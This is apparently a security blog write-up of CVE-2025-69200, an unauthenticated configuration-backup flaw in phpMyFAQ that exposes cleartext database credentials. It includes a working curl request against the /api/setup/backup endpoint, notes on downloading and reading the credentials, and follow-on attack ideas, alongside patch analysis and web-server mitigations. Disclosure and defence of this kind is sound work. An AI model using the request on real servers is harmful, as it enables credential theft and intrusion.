Jan 28, 2026·6 min read·5 visits
Unauthenticated attackers can force phpMyFAQ to zip up its own configuration files (including cleartext database credentials) and download them via the API. Rated High (CVSS 7.5).
phpMyFAQ, a popular open-source FAQ system, decided to make the 'Frequently Asked Questions' part of its name literal by allowing anyone to ask for the database credentials without authentication. CVE-2025-69200 allows remote attackers to trigger a configuration backup via a publicly exposed API endpoint. The server dutifully zips up the sensitive `database.php` file, places it in a web-accessible directory, and hands the attacker the download link on a silver JSON platter. This is a classic case of administrative features leaking into unauthenticated contexts.
phpMyFAQ is exactly what it sounds like: a PHP script to manage FAQs. It's the kind of software that sits in the dusty corners of corporate intranets and customer support portals, chugging along silently. But as we know in this industry, the quiet ones are often the most dangerous.
Usually, when we hunt for vulnerabilities, we are looking for complex memory corruption or obscure logic flaws in how parameters are parsed. CVE-2025-69200 is not that. This is a vulnerability that stems from the application being too helpful. It includes a feature to backup its configuration—a noble goal. However, it forgot the cardinal rule of administration features: check who is asking.
This vulnerability is particularly spicy because it doesn't just leak metadata or low-value info. It hands over the keys to the castle: the database.php file. In the PHP world, that's where the database hostname, username, and password live in plaintext. It's the digital equivalent of locking your front door but leaving a spare key taped to the outside of the window with a neon sign pointing to it.
The root cause here is a mix of insecure default routing and a lack of access control checks. phpMyFAQ exposes a setup API via .htaccess rewrite rules. Specifically, the rule RewriteRule ^api/setup/(check|backup|update-database) api/index.php [L,QSA] maps external requests directly to the internal API handlers.
The vulnerability exists in the src/phpMyFAQ/Controller/Api/SetupController.php. Inside this controller, there is a backup() method. You would expect this method to start with a sturdy if (!User::isAdmin()) die(); or a token validation check. It does not. The method assumes that if you can reach the route, you must be allowed to be there.
When invoked, this method triggers createConfigBackup() in src/phpMyFAQ/Setup/Update.php. This function grabs critical configuration files, zips them up into a file named phpmyfaq-config-backup.YYYY-MM-DD.zip, and saves it to content/core/config/. Crucially, this directory is inside the web root. So not only does the server create the file, but it also serves it to the world.
Let's look at the patch, because this is where things get cynical. The vulnerability was addressed in version 4.0.16. However, if we look at the commit history (specifically b0e99ee3695152115841cb546d8dce64ceb8c29a), the changes seem… cosmetic.
The patch modified phpmyfaq/assets/src/configuration/update.js to remove the logic that updates the UI with the download link, and it updated a Twig template to remove a warning message. It essentially hides the "Download Backup" button from the user interface.
> [!NOTE]
> Researcher Note: Hiding a button in the UI does not secure the API endpoint. If the backend controller (SetupController.php) still lacks authorization checks, a simple curl request will bypass this "fix" entirely.
While newer versions claim to be fixed, this specific commit pattern suggests a potential regression or incomplete remediation. It serves as a stark reminder: Security is not a UI feature. If your API is wide open, your React/Vue/Twig frontend cannot save you.
Exploiting this is trivially easy. You don't need a browser; you just need a terminal. The attack involves sending a POST request to the backup endpoint. The server expects some data (like a version string), but it validates virtually nothing relevant to security.
Here is the kill chain:
# Step 1: Ask the server to backup its secrets
curl -i -X POST "http://target.com/api/setup/backup" \
-H "Content-Type: text/plain" \
--data "4.1.0-RC"
# Output:
# {
# "status": "success",
# "backupFile": "http://target.com/content/core/config/phpmyfaq-config-backup.2025-01-29.zip"
# }Once you have the URL, you just wget it. Unzipping it reveals database.php. Open that file, and you will see:
$DB['server'] = 'localhost';
$DB['user'] = 'root';
$DB['password'] = 'SuperSecretPassword123!';
$DB['db'] = 'phpmyfaq';Game over.
The impact here is binary: you either have the credentials, or you don't. Once CVE-2025-69200 gives them up, the confidentiality of the entire application is gone.
With these credentials, an attacker can:
INTO OUTFILE) or execute system commands, depending on the database configuration.Furthermore, because people are terrible at password hygiene, there is a non-zero chance that the database password (SuperSecretPassword123!) is also the root password for the server or the SSH key passphrase.
The official recommendation is to upgrade to phpMyFAQ 4.0.16. However, given the nature of the fix analyzed in the commit history, I highly recommend a "belt and suspenders" approach.
1. Update immediately: Do the upgrade. Even if the commit looked weak, there may be other internal changes not visible in that specific diff that help.
2. Web Server Hardening (The Real Fix): Do not trust the application to secure its own setup files. Block access to the API endpoint at the Nginx or Apache level.
For Apache (.htaccess):
<LocationMatch "/api/setup/">
Require all denied
</LocationMatch>For Nginx:
location ~ ^/api/setup/ {
deny all;
return 403;
}3. Clean House: Check your content/core/config/ directory. If you see random ZIP files sitting there, you have likely already been scanned. Delete them immediately and rotate your database passwords.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
phpMyFAQ phpMyFAQ | < 4.0.16 | 4.0.16 |
| Attribute | Detail |
|---|---|
| CWE | CWE-202 (Sensitive Information Exposure) |
| CVSS v3.1 | 7.5 (High) |
| Attack Vector | Network (API) |
| Authentication | None Required |
| Impact | Credential Dumping |
| Exploit Status | PoC Available / High Risk |
The product exposes sensitive information through data queries or internal API calls that are not properly restricted.